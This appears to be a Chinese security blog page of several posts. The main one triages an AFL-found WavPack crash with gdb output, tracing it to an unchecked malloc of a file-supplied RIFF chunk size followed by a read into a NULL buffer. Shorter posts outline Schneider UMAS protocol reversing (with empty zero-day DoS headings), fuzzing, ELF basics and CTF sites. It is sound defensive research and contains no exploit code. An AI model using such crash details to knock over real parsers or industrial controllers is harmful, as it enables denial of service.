初探wavpack测试crashes样本分析

wavpack crash文件分析

  最近使用afl对wavpack进行了一次模糊测试,跑出来了15个crashes,针对其中test09.wav样本进行一下分析。如有错误请各位大佬多多指教。

1 关于崩溃样本文件

  crash09-关于id_000009,sig_11,src_001266,time_25197388,op_havoc,rep_16,出自afl fuzz的结果,系统栈帧崩溃时的backtrace如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ bt
#0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:416
#1 0x00007ffff7a2438e in __GI__IO_file_xsgetn (fp=0x555555675580, data=<optimized out>, n=0x95959596) at fileops.c:1304
#2 0x00007ffff7a17f13 in __GI__IO_fread (buf=0x0, size=size@entry=0x1, count=count@entry=0x95959596, fp=fp@entry=0x555555675580) at iofread.c:38
#3 0x00005555555b4cd6 in fread (__stream=0x555555675580, __n=0x95959596, __size=0x1, __ptr=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/stdio2.h:297
#4 DoReadFile (hFile=hFile@entry=0x555555675580, lpBuffer=lpBuffer@entry=0x0, nNumberOfBytesToRead=nNumberOfBytesToRead@entry=0x95959596,
lpNumberOfBytesRead=lpNumberOfBytesRead@entry=0x7fffffffba0c) at utils.c:618
#5 0x000055555559c086 in ParseRiffHeaderConfig (infile=0x555555675580, infilename=0x5555556752c0 "test09.wav", fourcc=<optimized out>, wpc=0x555555675300,
config=0x7fffffffbc60) at riff.c:296
#6 0x0000555555599386 in pack_file (infilename=0x5555556752c0 "test09.wav", outfilename=0x5555556752e0 "test09.wv", out2filename=0x0, config=<optimized out>)
at wavpack.c:1776
#7 0x000055555555af58 in main (argc=<optimized out>, argc@entry=0x3, argv=<optimized out>, argv@entry=0x7fffffffe338) at wavpack.c:1272
#8 0x00007ffff79b90b3 in __libc_start_main (main=0x555555557600 <main>, argc=0x3, argv=0x7fffffffe338, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7fffffffe328) at ../csu/libc-start.c:308
#9 0x000055555556d8ee in _start ()

  其中,#3,#4分别表示在fread和utils.c 618行函数DoReadFile出现错误,从具体调用关系上看,#4在调用#3过程中,需要调用fread函数,fread函数的标准释义是:

size_t fread( void restrict buffer, size_t size, size_t count, FILE restrict stream );

  其中restrict buffer表示要拷贝数据,从steam中读取size*count个字节数据到buffer中,在执行文件中发现 实际参数值为buf=0x0, size=size@entry=0x1, count=count@entry=0x95959596, fp=fp@entry=0x555555675580。一般而言,系统函数库中的函数一般不会出错的,出错的问题在于我们调用时使用了不正确的参数或者地址,导致系统出错。跟着bt的结果,我们一步步发掘系统报段错误的原因:


2 分析崩溃原因

  崩溃前最后一个自写的函数就是DoReadFile,函数调用参数分别如下
(buf=0x0, size=size@entry=0x1, count=count@entry=0x95959596, fp=fp@entry=0x555555675580)

1
2
3
4
5
6
7
8
Breakpoint 1, DoReadFile (hFile=hFile@entry=0x555555675580, 
lpBuffer=lpBuffer@entry=0x7fffffffbb4c,
nNumberOfBytesToRead=nNumberOfBytesToRead@entry=0x8,
lpNumberOfBytesRead=lpNumberOfBytesRead@entry=0x7fffffffbb1c) at utils.c:620

0x000055555559b3fa in ParseRiffHeaderConfig (infile=0x555555675580,
infilename=0x455641570003877c <error: Cannot access memory at address 0x455641570003877c>, fourcc=<optimized out>, wpc=0x555555675300, config=0x7fffffffbd70) at riff.c:75
75 if ((!DoReadFile (infile, ((char *) &riff_chunk_header) + 4, sizeof (RiffChunkHeader) - 4, &bcount) ||

2.1 分析Core dump文件

core转储文件可以用于发现具体错误点,core dump文件需要提前设置,这里不再过多赘述。从分析core dump文件开始,发现报错是出现了glibc文件之中。

2.2 分析出错代码位置

1
2
3
Core was generated by `./cli/wavpack -y test09.wav'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:416

出错的代码部分,fileops.c:1304行,glibc版本为2.3.1,在线链接是:https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21


while (want > 0)
{

have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have) ## 第二部分,输入缓冲区里已经有足够的字符,则直接把缓冲区里的字符给目标buff
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0) ## 第三部分,输入缓冲区里有部分字符,但是没有达到fread的size需求,先把已有的拷贝至目标buff
{
memcpy (s, fp->_IO_read_ptr, have); <<<============程序运行到这一步报错,fileops.c:1304
s += have;
want -= have;
fp->_IO_read_ptr += have;
}

2.3 拷贝内存时报错

  在memcpy函数拷贝数据出现越界,第1个参数*s为数据data,拷贝的目标地址,第二个fp参数,拷贝的源地址,fp->_IO_read_ptr是FILE结构体的一部分,偏移为8,表示读取的起始地址。have表示传入数据长度。在IO_FILE结构体中,fp也是一个IO_FILE结构体,遵从IO_FILE标准结构。

代码报错fileops.c:1304

  程序运行逻辑中,have表示实际能够存储的内存大小,want表示当前传入的参数,报错上下文也就是want = 0x95959596。此时,have < want,因此,程序进入if (have > 0)对应的逻辑块,程序直接如上图所示的代码行,直接从_IO_read_ptr标记的内存处拷贝have个大小的,该部分可能并不会引起溢出

  可以看到file类型的fp函数IO_read_ptr地址偏移为8,通过gdb-peda看到fp第二个地址为_IO_read_ptr=0x555555676258,最大读指针地址_IO_read_end=0x55555555676940,其中可读取空间包括0x940-0x258=0x6E8个地址空间。memcpy如果执行复制n=0x95959596(大约相当于2G内存)后,_IO_read_ptr(0x555555676258)+ n(0x95959596)= 0x5555EAFCF7EE > 程序所在内存空间,导致覆盖了0x0x555555676258~0x55555EAFCF7EE范围的数据,这一覆盖范围远远大于映射的内存区域,导致出现段错误,但这个只是我们的猜想。

还原整个调试过程,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
------------------------------------------------------------------------------]
Legend: code, data, rodata, value
289 char *buff = malloc (bytes_to_copy); # <-----------------申请2G内存区域,申请失败返回0,导致没有申请成功
gdb-peda$ p bytes_to_copy
$4 = 0x95959596
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffbc7c --> 0x8
RCX: 0x9595
RDX: 0x95959595
RSI: 0x959595
RDI: 0x0
RBP: 0x555555675580 --> 0xfbad2488
RSP: 0x7fffffffbc40 --> 0x0
RIP: 0x55555559bfcb (<ParseRiffHeaderConfig+3515>: test r8d,r8d)
R8 : 0x0
R9 : 0x95959595
R10: 0x2
R11: 0x7ffff793a900 --> 0x9595959595959595
R12: 0x7fffffffbed0 --> 0x0
R13: 0x555555675300 --> 0x0
R14: 0x95959596
R15: 0x7fffffffbca0 --> 0x9595959595959595
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555559bfbc <ParseRiffHeaderConfig+3500>: mov r8d,DWORD PTR [rip+0xd84fd] # 0x5555556744c0 <debug_logging_mode>
0x55555559bfc3 <ParseRiffHeaderConfig+3507>: mov r9d,DWORD PTR [rsp+0x28]
0x55555559bfc8 <ParseRiffHeaderConfig+3512>: mov rdi,rax
=> 0x55555559bfcb <ParseRiffHeaderConfig+3515>: test r8d,r8d
0x55555559bfce <ParseRiffHeaderConfig+3518>: je 0x55555559c035 <ParseRiffHeaderConfig+3621>
0x55555559bfd0 <ParseRiffHeaderConfig+3520>: lea rsp,[rsp-0x98]
0x55555559bfd8 <ParseRiffHeaderConfig+3528>: mov QWORD PTR [rsp],rdx
0x55555559bfdc <ParseRiffHeaderConfig+3532>: mov QWORD PTR [rsp+0x8],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffbc40 --> 0x0
0008| 0x7fffffffbc48 --> 0x5555556752c0 ("test09.wav")
0016| 0x7fffffffbc50 --> 0x68b81
0024| 0x7fffffffbc58 --> 0x7fffffffbcc0 --> 0x0
0032| 0x7fffffffbc60 --> 0x1
0040| 0x7fffffffbc68 --> 0x555595959595
0048| 0x7fffffffbc70 --> 0x3
0056| 0x7fffffffbc78 --> 0x800000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
291 if (debug_logging_mode)
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffbc7c --> 0x8
RCX: 0x9595
RDX: 0x95959595
RSI: 0x959595
RDI: 0x0
RBP: 0x555555675580 --> 0xfbad2488
RSP: 0x7fffffffbc40 --> 0x0
RIP: 0x55555559c035 (<ParseRiffHeaderConfig+3621>: nop DWORD PTR [rax])
R8 : 0x0
R9 : 0x95959595
R10: 0x2
R11: 0x7ffff793a900 --> 0x9595959595959595
R12: 0x7fffffffbed0 --> 0x0
R13: 0x555555675300 --> 0x0
R14: 0x95959596
R15: 0x7fffffffbca0 --> 0x9595959595959595
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555559c029 <ParseRiffHeaderConfig+3609>: xor eax,eax
0x55555559c02b <ParseRiffHeaderConfig+3611>: call 0x5555555b47d0 <error_line>
0x55555559c030 <ParseRiffHeaderConfig+3616>: mov rdi,QWORD PTR [rsp+0x28]
=> 0x55555559c035 <ParseRiffHeaderConfig+3621>: nop DWORD PTR [rax]
0x55555559c038 <ParseRiffHeaderConfig+3624>: lea rsp,[rsp-0x98]
0x55555559c040 <ParseRiffHeaderConfig+3632>: mov QWORD PTR [rsp],rdx
0x55555559c044 <ParseRiffHeaderConfig+3636>: mov QWORD PTR [rsp+0x8],rcx
0x55555559c049 <ParseRiffHeaderConfig+3641>: mov QWORD PTR [rsp+0x10],rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffbc40 --> 0x0
0008| 0x7fffffffbc48 --> 0x5555556752c0 ("test09.wav")
0016| 0x7fffffffbc50 --> 0x68b81
0024| 0x7fffffffbc58 --> 0x7fffffffbcc0 --> 0x0
0032| 0x7fffffffbc60 --> 0x1
0040| 0x7fffffffbc68 --> 0x555595959595
0048| 0x7fffffffbc70 --> 0x3
0056| 0x7fffffffbc78 --> 0x800000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
296 if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||
gdb-peda$ p buff
$5 = <optimized out>
gdb-peda$ p bytes_to_copy # <-----------------进入到读取FIle文件到memecpy的源目的地址中,由于申请的地址为空,则出现错误,无法写入到指定内存区域
$6 = 0x95959596
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555557000 r--p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555557000 0x0000555555665000 r-xp /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555665000 0x0000555555673000 r--p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555673000 0x0000555555674000 r--p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555674000 0x0000555555675000 rw-p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555675000 0x0000555555696000 rw-p [heap]
0x00007ffff78f8000 0x00007ffff793b000 rw-p mapped
0x00007ffff796a000 0x00007ffff796c000 rw-p mapped
0x00007ffff796c000 0x00007ffff7972000 r--p /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7972000 0x00007ffff7983000 r-xp /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7983000 0x00007ffff7989000 r--p /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7989000 0x00007ffff798a000 r--p /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff798a000 0x00007ffff798b000 rw-p /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff798b000 0x00007ffff798f000 rw-p mapped
0x00007ffff798f000 0x00007ffff7990000 r--p /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7990000 0x00007ffff7992000 r-xp /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7992000 0x00007ffff7993000 r--p /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7993000 0x00007ffff7994000 r--p /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7994000 0x00007ffff7995000 rw-p /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7995000 0x00007ffff79b7000 r--p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff79b7000 0x00007ffff7b2f000 r-xp /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b2f000 0x00007ffff7b7d000 r--p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b7d000 0x00007ffff7b81000 r--p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b81000 0x00007ffff7b83000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b83000 0x00007ffff7b87000 rw-p mapped
0x00007ffff7b87000 0x00007ffff7bff000 r--p /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
0x00007ffff7bff000 0x00007ffff7d9a000 r-xp /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
0x00007ffff7d9a000 0x00007ffff7e2b000 r--p /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
0x00007ffff7e2b000 0x00007ffff7e57000 r--p /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
0x00007ffff7e57000 0x00007ffff7e59000 rw-p /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
0x00007ffff7e59000 0x00007ffff7e5d000 rw-p mapped
0x00007ffff7e5d000 0x00007ffff7e6a000 r--p /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff7e6a000 0x00007ffff7f11000 r-xp /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff7f11000 0x00007ffff7faa000 r--p /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff7faa000 0x00007ffff7fab000 r--p /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff7fab000 0x00007ffff7fac000 rw-p /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff7fac000 0x00007ffff7fae000 rw-p mapped
0x00007ffff7fc9000 0x00007ffff7fcd000 r--p [vvar]
0x00007ffff7fcd000 0x00007ffff7fcf000 r-xp [vdso]
0x00007ffff7fcf000 0x00007ffff7fd0000 r--p /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7fd0000 0x00007ffff7ff3000 r-xp /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ff3000 0x00007ffff7ffb000 r--p /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]

gdb-peda$
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000055555559c05a in ParseRiffHeaderConfig (infile=0x555555675580, infilename=0x9595 <error: Cannot access memory at address 0x9595>,
fourcc=<optimized out>, wpc=0x555555675300, config=0x7fffffffbed0) at riff.c:296
296 if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||

```。
通过调试,关键点在286行,如下代码段

```bash
int bytes_to_copy = (chunk_header.ckSize + 1) & ~1L; # <<<<<<代码出错的关键点 288行
char *buff = malloc (bytes_to_copy); # <<<<<<代码出错的关键点

if (debug_logging_mode)
error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes",
chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2],
chunk_header.ckID [3], chunk_header.ckSize);

if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||
bcount != bytes_to_copy ||
(!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, buff, bytes_to_copy))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
free (buff);
return WAVPACK_SOFT_ERROR;
}

2.4 总结

  出错核心在malloc函数,在申请内存过程中,申请bytes_to_copy=0x95959596(通过实际计算大约是2G内存),系统在执行中无法满足就返回0,表示堆上申请内存失败。在后续的DoReadFile函数中,依然直接读取0x0处内存地址的数据,导致系统报错,出现段错误。

3 发现的4个问题

  1. 一个程序运行可以申请的最大内存应该满足多少?
  2. 为什么在调试中,部分不属于申请较大内存的操作也同样报错,这个内存申请的阀值是多少?
  3. wavpack转储文件的格式是什么样的?为什么申请内存是0x95959596,而不是其他值?
  4. 其他所欠缺的知识点,包括IO_FILE文件结构、fread函数操作、x64架构下寄存器传参的具体实现?

针对上述问题,计划再出几个博客记录,所以在这里不做过多赘述。

4.1 IO_FILE文件结构

参考知识:_IO_FILE结构体可以看到,IO_read_ptr在地址偏移8字节位置,IO_read_end在偏移16字节的位置,一般情况下IO_read_ptr和IO_read_base保持一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ // 0偏移,8字节

/* The following pointers correspond to the C++ streambuf protocol. */ //8偏移,8字节
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;

查看FILE结构体中各字段的具体数值,遵从小端模式:

1
2
3
4
5
gdb-peda$ x/32w 0x555555675580
0x555555675580: 0xfbad2488 0x00000000 0x55676258 0x00005555
0x555555675590: 0x55676940 0x00005555 0x55675940 0x00005555
0x5555556755a0: 0x55675940 0x00005555 0x55675940 0x00005555
0x5555556755b0: 0x55675940 0x00005555 0x55675940 0x00005555

vmmap查看当前系统能够使用的内存区域,如下方系统显示,不管是超出内存区复制数据抑或覆盖的数据超过现内存边界,都会产生段错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555557000 r--p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555557000 0x0000555555665000 r-xp /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555665000 0x0000555555673000 r--p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555673000 0x0000555555674000 r--p /home/pwn/aflsmart/WavPack/cli/wavpack
0x0000555555674000 0x0000555555675000 rw-p /home/pwn/aflsmart/WavPack/cli/wavpack

0x00007ffff7993000 0x00007ffff7994000 r--p /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7994000 0x00007ffff7995000 rw-p /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff7995000 0x00007ffff79b7000 r--p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff79b7000 0x00007ffff7b2f000 r-xp /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b2f000 0x00007ffff7b7d000 r--p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b7d000 0x00007ffff7b81000 r--p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b81000 0x00007ffff7b83000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff7b83000 0x00007ffff7b87000 rw-p mapped

4.2 调试中寄存器细节问题

1
2
3
4
   0x7ffff7b2077f <__memmove_avx_unaligned_erms+399>:	lea    rcx,[rdi+rdx*1-0x20]
0x7ffff7b20784 <__memmove_avx_unaligned_erms+404>: mov r8,rdi //r8=
0x7ffff7b20787 <__memmove_avx_unaligned_erms+407>: and r8,0x1f
=> 0x7ffff7b2078b <__memmove_avx_unaligned_erms+411>: sub r8,0x20

R8在执行sub命令前为0x00,因此减去0x20导致异常,R8变为0xffffffffffffffe0

由于sub R8,0x20,R8=0后,导致 R8:0xffffffffffffffe0,后续对寄存器操作均使用R8寄存器进行计算。

1
2
3
=> 0x7ffff7a24380 <__GI__IO_file_xsgetn+272>:	mov    rdi,r13
0x7ffff7a24383 <__GI__IO_file_xsgetn+275>: mov rdx,rbp
0x7ffff7a24386 <__GI__IO_file_xsgetn+278>: sub r12,rbp

在执行到这一行代码时,rbp、r13、r12进行计算,需要使用

(1)vmovdqu 指令的具体作用,导致这个问题出现的主要原因,以及如何避免这种问题。

4.3 寄存器部分功能描述

1.对寄存器掌握不深,对x64环境下各个寄存器的功能不熟悉。

第64位 第32位 第16位 第8位 一般作用
63 31 15 7 0
%rax %eax %ax %al 返回值
%rbx %ebx %bx %bl 被调用者保存
%rcx %ecx %cx %cl 第四个参数
%rdx %edx %dx %dl 第三个参数
%rsi %esi %si %sil 第二个参数
%rdi %edi %di %dil 第一个参数
%rbp %ebp %bp %bpl 被调用者保存
%rsp %esp %sp %spl 栈指针
%r8 %r8d %r8w %r8b 第五个参数
%r9 %r9d %r9w %r9b 第六个参数
%r10 %r10d %r10w %r10b 调用者保存
%r11 %r11d %r11w %r11b 调用者保存
%r12 %r12d %r12w %r12b 被调用者保存
%r13 %r13d %r13w %r13b 被调用者保存
%r14 %r14d %r14w %r14b 被调用者保存
%r15 %r15d %r15w %r15b 被调用者保存

其中,字节级操作可以访问最低的字节,16位操作可以访问最低的2个字 节32位操作可以访问最低的4个字节,而64位操作可以访问整个寄存器

课后温习

  1. fread函数的详细实现讲解 https://ray-cp.github.io/archivers/IO_FILE_fread_analysis
  2. glibc-2.3.1下fileops.c的实现 https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c

施耐德umas工控协议初探

施耐德工控协议 UMAS 协议初探

背景介绍

施耐德公司logo

  施耐德电气有限公司(Schneider Electric SA)是总部位于法国的全球化电气企业,全球能效管理和 自动化 领域的专家。 集团2016财年销售额为250亿欧元,在全球100多个国家拥有超过16万名员工。 1836年由施耐德兄弟建立。 它的总部位于 法国 吕埃。 施耐德电气的宗旨,是赋能所有人对能源和资源的最大化利用, 推动人类进步与可持续的共同发展。 也被称之为Life Is On。

  施耐德电气的使命是成为用户实现高效和可持续发展的数字化伙伴。 施耐德电气致力于推动数字化转型,服务于家居、楼宇、数据中心、基础设施和工业市场。 通过集成世界领先的工艺和能源管理技术,从终端到云的互联互通产品、控制、软件和服务,贯穿业务全生命周期,实现整合的企业级管理。

UMAS协议使用场景

  主要解释UMAS协议使用情况,包括组态、上传下载、交互监控。

UMAS协议使用场景,施耐德组态软件中,对于PLC、DCS

UMAS协议逆向方法

经典协议逆向方法,聚类或人工分析,

广义的协议逆向方法

本例子中协议逆向方法

零日漏洞使用与效果

拒绝服务漏洞

使用限制条件

##

Fuzzing技术最新进展与展望

Fuzz定义与概述

  Fuzzing一般成为软件模糊测试技术,而Fuzzing一词在英文中原意为“起毛”,是指一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。从根本上讲,Fuzzing隶属如软件测试技术的一种,是一种自动化的健壮性、安全性测试技术。

一般模糊测试流程

  从上图可以看到,一般意义上模糊测试可以分为输入器、变异器、输出接口、监控器、反馈器共5个粗粒度模块。在输入器中,大致可分为格式输入(类似Peach Fuzz)、文件输入(类似AFL的seed文件)。在变异器中,大致可分为基于生成(根据固定格 式生成格式数据,比较多见于对文件模糊测试,例如MP3文件等)、基于变异的策略(根据格式变异长度和内容字符的变异,比较多见于协议内容,不定长格式的测试工作)。在输出接口中,一般输出接口指的是数据发送的对象,在计算机体系中可以是空中接口、无线电、串口、USB等各类接口。在监控器模块中,考虑到目标普遍部署在Win、Linux等环境下,在Windows下主要利用Windbg进行监控,在Linux平台下主要用GDB进行监控。在反馈器模块中,主要是使用对dbg文件的分析,获得程序运行的上下文环境。

针对模糊测试系统的扩展性研究

模糊测试系统的扩展方面发展

  在目前针对模糊测试系统中,可以考虑加入实时反馈方式,在提升测试效率的同时,增加了程序覆盖率。在增加漏洞成因分析方面,考虑到目前的Debug工具不具有普适性,接口众多而且开发难度大,漏洞分析方面只能部分做到自动化。

关于模糊测试的时间线问题

模糊测试系统的扩展方面发展

The first fuzzing tool was developed by Miller (1990) and was originally designed to test the reliability of UNIX tools.

  传统的模糊测试技术,从最初的变异、生成、监控、测试等等模块,变化为添加过符号执行、动态监控、自动分析处理等强大功能的软件测试技术。由于早期模糊测试系统的效率极其低下,研究人员引入了各种不同的技术来提高效率、加快测试过程。

监控器监控

  在实际模糊测试系运行中,需要监控程序上下文空间,具体包括符号表达式(Cadar等人,2008;戈德弗罗德等人, 2005,2008;哈勒等人,2013;纽施旺德纳等人,2015;2015;森等 人,2005;斯蒂芬斯等人,2016);路径覆盖数据(扎勒夫斯基, 2016;谷歌2017a,2017b)和污染信息(Ganesh等人,2009;Rawat 等人,2017;王等人,2010)。其中,符号表达式用于生成输入数据,路径覆盖数据用于下一个循环中的种子选择。污染数据用于推断输入中的哪些偏移量会影响程序的执行路径。

先验知识或专家辅助

  在模糊测试中,针对目标程序中那些计算模块、内存处理与申请、端口开放等细节需要人工介入,研究人员发现在大部分的程序安装进程中,需要人工进行进行审计,发现程序中的未知bug或逻辑问题,而许多人工审计工具可以帮助我们做到这一点。


漏洞分析

  持续更新中……

ELF 文件结构初初级解析

前言

ELF基本文件结构是从Unix操作系统中沿用过来,对Linux安全学习,IoT相关物联网是一个基础知识,本篇博文从ELF文件结构方面来解析ELF文件结构。

从ELF文件结构开始

自己bing、google了多久,把能找到有用的连接挂在上去

http://blog.csdn.net/alan0521/article/details/7689865
https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf

主要参考耶鲁大学课程中的pdf,翻译成中文

Linux 文件系统

linux文件类型

  • 可重定位的目标文件(Relocatable,或者Object File)
  • 可执行文件(Executable)
  • 共享库(Shared Object,或者Shared Library)

linux文件两种视角,与ctf结合需要你了解的部分:

我们日常的文件头结构,以64位下elf编译的helloworld为例,工具是以readelf:

具体头文件格式参考,参考源码解读,参照c源码

elf.h 在ubuntu下 /usr/include/elf.h

该文件有3000+行,估计看到的人会崩溃:

今天不是解析elf.h 先专注我们关注的

An ELF header resides at the beginning and holds a ‘‘road map’’ describing the file’s organization. Sections hold the bulk of object file information for the linking view: instructions, data, symbol table, relocation information, and so on. Descriptions of special sections appear later in Part 1. Part 2 discusses segments and the program execution view of the file.

elf 头结构表示的是我们如何加载elf文件,包含如何加载的格式、系统、符号表,数据段,代码段,重定向段等等。

下图是elf 64 位下section字段名称

如何在64系统中编译出一个32位程序

gcc test.c -m32 -o test

这样就可以在64位系统中编译32位程序

段图,以64位编译环境下的hello为例:

可以的看到,有28个端,其中第一个0为空段,我们日常熟悉的pwn,日常中我们一般调用.data/.bss/.text 字段

这些内容就略过,重点关注程序加载到内存的方式,略过了:

  • 程序文件详细格式,在硬盘中的文件组织方式
  • 程序链接时,即.o文件

32位的系统和64位系统相当的不同,回头再写个博客整理整理,思路比较乱


##

ELF文件加载过程

外国ctf学习网站集锦(未完待续)

CTF竞赛网站:

Here’s a list of some CTF practice sites and tools or CTFs that are long-running. Thanks, RSnake for starting the original that this is based on. If you have any corrections or suggestions, feel free to email ctf at the domain psifertex with a dot com tld.

Live Online Games 线上竞赛

Recommended 推荐

Whether they’re being updated, contain high quality challenges, or just have a lot of depth, these are probably where you want to spend the most time.这些网站一般都是长期运营

http://pwnable.kr/ (one of the more popular recent wargamming sets of challenges)
https://picoctf.com/ (Designed for high school students while the event is usually new every year, it’s left online and has a great difficulty progression)
https://microcorruption.com/login (one of the best interfaces, a good difficulty curve and introduction to low-level reverse engineering, specifically on an MSP430)
https://learn.abctf.xyz (a new CTF based learning platform with user-contributed challenges)
http://reversing.kr/
http://hax.tor.hu/
https://w3challs.com/
https://pwn0.com/
https://io.netgarage.org/
http://ringzer0team.com/
http://www.hellboundhackers.org/
http://www.overthewire.org/wargames/
http://counterhack.net/Counter_Hack/Challenges.html
http://www.hackthissite.org/
http://vulnhub.com/

Others 其他

https://backdoor.sdslabs.co/
http://smashthestack.org/wargames.html
http://hackthecause.info/
http://bright-shadows.net/
http://www.mod-x.co.uk/main.php
http://scanme.nmap.org/
http://www.hackertest.net/
http://net-force.nl/
http://securityoverride.org/ Some good concepts, but “canned” vulnerabilities (string matching on input) will frustrate knowledgable
hackers and teach newbies the wrong lessons

Meta

http://www.wechall.net/sites.php (excellent list of challenge sites)
http://ctf.forgottensec.com/wiki/ (good CTF wiki, though focused on CCDC)
http://repo.shell-storm.org/CTF/ (great archive of CTFs)

